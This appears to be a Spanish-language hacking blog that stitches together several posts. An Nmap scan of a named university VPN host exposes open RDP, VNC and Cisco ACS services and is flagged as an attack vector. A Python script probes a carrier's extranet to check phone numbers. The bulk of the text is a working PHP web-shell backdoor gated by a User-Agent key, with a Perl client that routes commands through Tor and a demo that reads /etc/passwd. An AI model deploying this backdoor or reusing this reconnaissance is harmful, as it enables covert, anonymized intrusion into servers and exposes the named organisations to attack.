|_http-methods: No Allow or Public header in OPTIONS response (status code 404) |_http-iis-webdav-vuln: ERROR: This web server is not supported. | http-title: Object moved |_Did not follow redirect to https://vpn1.ugr.es |_http-date: Fri, 26 Aug 2011 23:48:30 GMT; -59m38s from local time. | http-headers: | Server: Microsoft-IIS/5.0 | Date: Fri, 26 Aug 2011 23:48:32 GMT | Connection: close | Location: https://vpn1.ugr.es | Content-Length: 140 | Content-Type: text/html | Set-Cookie: ASPSESSIONIDQCTTDBCC=JMFFGNCBNKMNPFCAHIDOGPNG; path=/ | Cache-control: private | |_ (Request type: GET) | http-vhosts: |_393 names had status 302 | http-domino-enum-passwords: |_ ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password) 111/tcp filtered rpcbind 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 179/tcp filtered bgp 443/tcp open https? | http-brute: |_ ERROR: No path was specified (see http-brute.path) |_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument) |_ssl-cert: ERROR |_http-iis-webdav-vuln: ERROR: This web server is not supported. |_http-malware-host: Host appears to be clean | http-form-brute: |_ ERROR: No uservar was specified (see http-form-brute.uservar) | http-domino-enum-passwords: |_ ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password) 445/tcp filtered microsoft-ds 646/tcp filtered ldp 1031/tcp open msrpc Microsoft Windows RPC 1032/tcp open msrpc Microsoft Windows RPC 1034/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\Mstask.exe) 1035/tcp open msrpc Microsoft Windows RPC 1038/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\Mstask.exe) 1040/tcp open msrpc Microsoft Windows RPC 1723/tcp open pptp Microsoft Windows NT (Firmware: 2195) 2000/tcp open cisco-sccp? 2001/tcp open dc? 2002/tcp open http Cisco Secure ACS web interface | http-brute: |_ ERROR: No path was specified (see http-brute.path) |_http-malware-host: Host appears to be clean |_http-iis-webdav-vuln: ERROR: This web server is not supported. | http-php-version: Logo query returned unknown hash 58bfc81e2df58e3afd8b1447193719c8 |_Credits query returned unknown hash 58bfc81e2df58e3afd8b1447193719c8 |_http-title: CiscoSecure ACS for Windows 2000/NT Login | http-form-brute: |_ ERROR: No uservar was specified (see http-form-brute.uservar) | http-headers: | Content-Type: text/html | Content-length: 1117 | |_ (Request type: GET) | http-domino-enum-passwords: |_ ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password) 3300/tcp open tcpwrapped 3389/tcp open microsoft-rdp Microsoft Terminal Service 5800/tcp open vnc-http WinVNC 3.3.7 (Server: vpn1; Resolution 1024x800; VNC TCP port: 5900) |_http-iis-webdav-vuln: ERROR: This web server is not supported. |_http-malware-host: Host appears to be clean | http-headers: | |_ (Request type: GET) 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ Unknown security type (33554432) |_banner: RFB 003.003 Service Info: OS: Windows Host script results: |_path-mtu: PMTU == 1500 |_ipidseq: Unknown | asn-query: | BGP: 150.214.0.0/16 | Country: EU | Origin AS: 766 - REDIRIS RedIRIS Autonomous System |_ Peer AS: 1299 3356 3549 8928 20965 | qscan: | PORT FAMILY MEAN (us) STDDEV LOSS (%) | 1 0 260021.20 10527.59 0.0% | 21 0 258654.60 10282.26 0.0% | 42 0 259339.70 13480.73 0.0% | 49 0 257889.40 12137.87 0.0% | 53 0 254152.30 10099.75 0.0% | 80 0 256121.20 11584.36 0.0% | 443 0 255434.00 11466.94 0.0% | 1031 0 257928.10 17901.14 0.0% |_1032 0 257543.40 11900.55 0.0% NSE: Starting runlevel 1 (of 3) scan. NSE: Starting runlevel 2 (of 3) scan. NSE: Starting runlevel 3 (of 3) scan. Read data files from: /usr/local/share/nmap Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1483.86 seconds Raw packets sent: 1174 (57.480KB) | Rcvd: 1058 (43.048KB)
a simple vista se observa un posible vector de ataque:

CODE: http://file.mitm.cl/lineaRoja.sh
Verificador Moviles ENTEL-PCS
Mirando en mi home el monton de cosas que hay, pille un code que hize hace un tiempo, es uno de esos codes que pueden parecer inutiles, pero siempre sirven de algo.
La peticion de las consultas, se hacen extranet.entel.cl , en los dominios de entel hay cosas interesante, si buscan bien x) .
#!/usr/bin/python ''' coded by p0fk! - MitM Labs . Verificador de numero ENTEL PCS.CL vie mar 11 00:21:58 CLST 2011 ''' import sys,os,urllib,urllib2,cookielib,re,thread,time os.system('clear') cookie_j = cookielib.CookieJar() status_cookie = 1 def hget(url): f = urllib2.urlopen(url) d = f.read() f.close() return d def checkNum(url,numero): post_login= [ ('pcs', numero), ('image.x', '0'), ('image.y', '0')] form_login = urllib.urlencode(post_login) cookie_h = urllib2.HTTPCookieProcessor(cookie_j) opener = urllib2.build_opener(cookie_h) opener.addheaders = [ ('User-agent', 'endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)'), ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), ('Accept-Language', 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3'), ('Accept-Encoding', 'gzip,deflate'), ('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7'), ('Keep-Alive', '115'), ('Connection', 'keep-alive'), ('Referer', 'http://extranet.entel.cl/index.jsp') ] site = opener.open(url, form_login).read() if re.search("Movil pertenece a Entel PCS",site): print "[+] Movil pertenece a Entel PCS\n" if re.search("Movil no pertenece a Entel PCS",site): print "[x] Movil no pertenece a Entel PCS\n" print "[ Verificador de numero ]" print "[ ENTEL PCS ]\n" if len(sys.argv) == 2: matchObj = re.match( r'^[0-9]+$', sys.argv[1], re.M|re.I) if matchObj: print '[+] Numero: '+ sys.argv[1] + '\n', checkNum("http://extranet.entel.cl/index2.jsp", sys.argv[1]) else: print '[x] No es un numero -.-"' exit(1) else: print '[x] Debe ingresar numero movil\n', exit(1)
$ python entelVerifica.py 84775542 [ Verificador de numero ] [ ENTEL PCS ] [+] Numero: 84775542 [+] Movil pertenece a Entel PCS
FinishHiM!
backdoor shell PHP
Este backdoor esta basada en “Emelco PHP Shell” escrita por seth.
Se compone de un cliente perl y la shell php, el cliente envia peticiones post con los comandos a ejecutar, las peticiones pasan desde tor proxy con una autentificacion User-Agent ( para que no cualquiera pueda ejecutar comandos ).
Para crear keys pueden usar urandom:
$ tr -dc [:alpha:] < /dev/urandom | head -c 45 && echo AJwWfFmkTdHWEVjwLpkQXdksTzGpZycwLfadZEnxEeczc
shell script:
<?PHP $k=""; // Key if ( $_SERVER['HTTP_USER_AGENT'] == $k ) { if ( isset($_POST['asd']) ) { $cm = explode("\n",shell($_POST['asd'], false)); for ( $x = 0; $x < count($cm); $x++ ) { echo "###".$cm[$x]."\n"; } } } function shell($cmd, $array = true){ if (!empty($cmd)){ if (`echo a`){ $salida[]=(`$cmd`); $salida[]='Modo: `$cmd`';} elseif (shellpopen('echo a')){$salida[]=shellpopen($cmd); $salida[]='Modo: popen($cmd)';} elseif (shell_exec('echo a')){$salida[]=shell_exec($cmd); $salida[]='Modo: shell_exec($cmd)';} elseif (exec('echo a')){$salida[]=exec($cmd); $salida[]='Modo: exec($cmd)';} elseif (systemreturn('echo a')){$salida[]=systemreturn($cmd); $salida[]='Modo: system($cmd)';} elseif (passthrureturn('echo a')){$salida[]=passthrureturn($cmd); $salida[]='Modo: passthru($cmd)';} elseif (shellprocopen('echo a')){$salida[]=shellprocopen($cmd); $salida[]='Modo: proc_open($cmd)';} elseif (shellpcntl('echo a')){$salida[]=shellpcntl($cmd); $salida[]='Modo: pcntl_exec($cmd)';} if ($array){ return $salida; }else{ return $salida[0]; } }else{ return false; } } function shellpopen($cmd){ /* fuente: antichat webshell v1.3 */ if($fp = popen($cmd,'r')){ $result = ''; while(!feof($fp)){$result.=fread($fp,1024);} pclose($fp); $ret = $result; $ret = convert_cyr_string($ret,'d','w'); return $ret; }else{ return false; } } function systemreturn($cmd){ ob_flush(); ob_start(); system($cmd); $salida = ob_get_clean(); ob_end_clean(); return $salida; } function passthrureturn($cmd){ ob_flush(); ob_start(); passthru($cmd); $salida = ob_get_clean(); ob_end_clean(); return $salida; } function shellprocopen($cmd){ $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $process = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $salida = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); return $salida; }else{ return false; } } function shellpcntl($cmd){ if(!function_exists('pcntl_exec')){ return false; } $args = explode(' ',$cmd); $path = $args[0]; unset($args[0]); if(pcntl_exec($path,$args)===false){ return false; }else{ return 'El comando fue ejecutado, pero no se pudo recuperar la salida'; } } ?>
cliente perl:
#!/usr/bin/perl use LWP::UserAgent; use HTTP::Request qw(post); use strict; my $target = "http://www.sitiotesting.com/script.php"; my ($whoami, $tmpcd, $key); $key = ""; ## key if ( &post_tor($target,"asd=whoami") =~ m!###(.*?)\n!ig ) { $whoami = $1; } while( 1 ) { print "$whoami\$ "; my ($content,$cmd); $cmd = <STDIN>; $content = &post_tor($target,"asd=".$cmd); while ( $content =~ m!###(.*?)\n!ig ) { print "$1\n"; } } sub post(){ my $url = shift; my $query = shift; my $navegador = new LWP::UserAgent; $navegador -> agent ($key); my $req = HTTP::Request -> new (POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content($query); my $respuesta = $navegador -> request ($req); my $contenido = $respuesta ->as_string; return $contenido; } sub post_tor(){ my $url = shift; my $query = shift; my $navegador = new LWP::UserAgent; $navegador->agent ($key); $navegador->proxy([qw/ http https /] => 'socks://localhost:9050'); # Tor proxy $navegador->cookie_jar({}); my $req = HTTP::Request -> new (POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content($query); my $respuesta = $navegador -> request ($req); my $contenido = $respuesta ->as_string; return $contenido; }
Demo:
$ perl cliente.pl www-data$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh .....
LOGS:
38.99.170.107 target - [17/Jul/2011:14:37:50 -0400] "POST /script.php HTTP/1.1" 200 1285 "-"
shell torificada x)

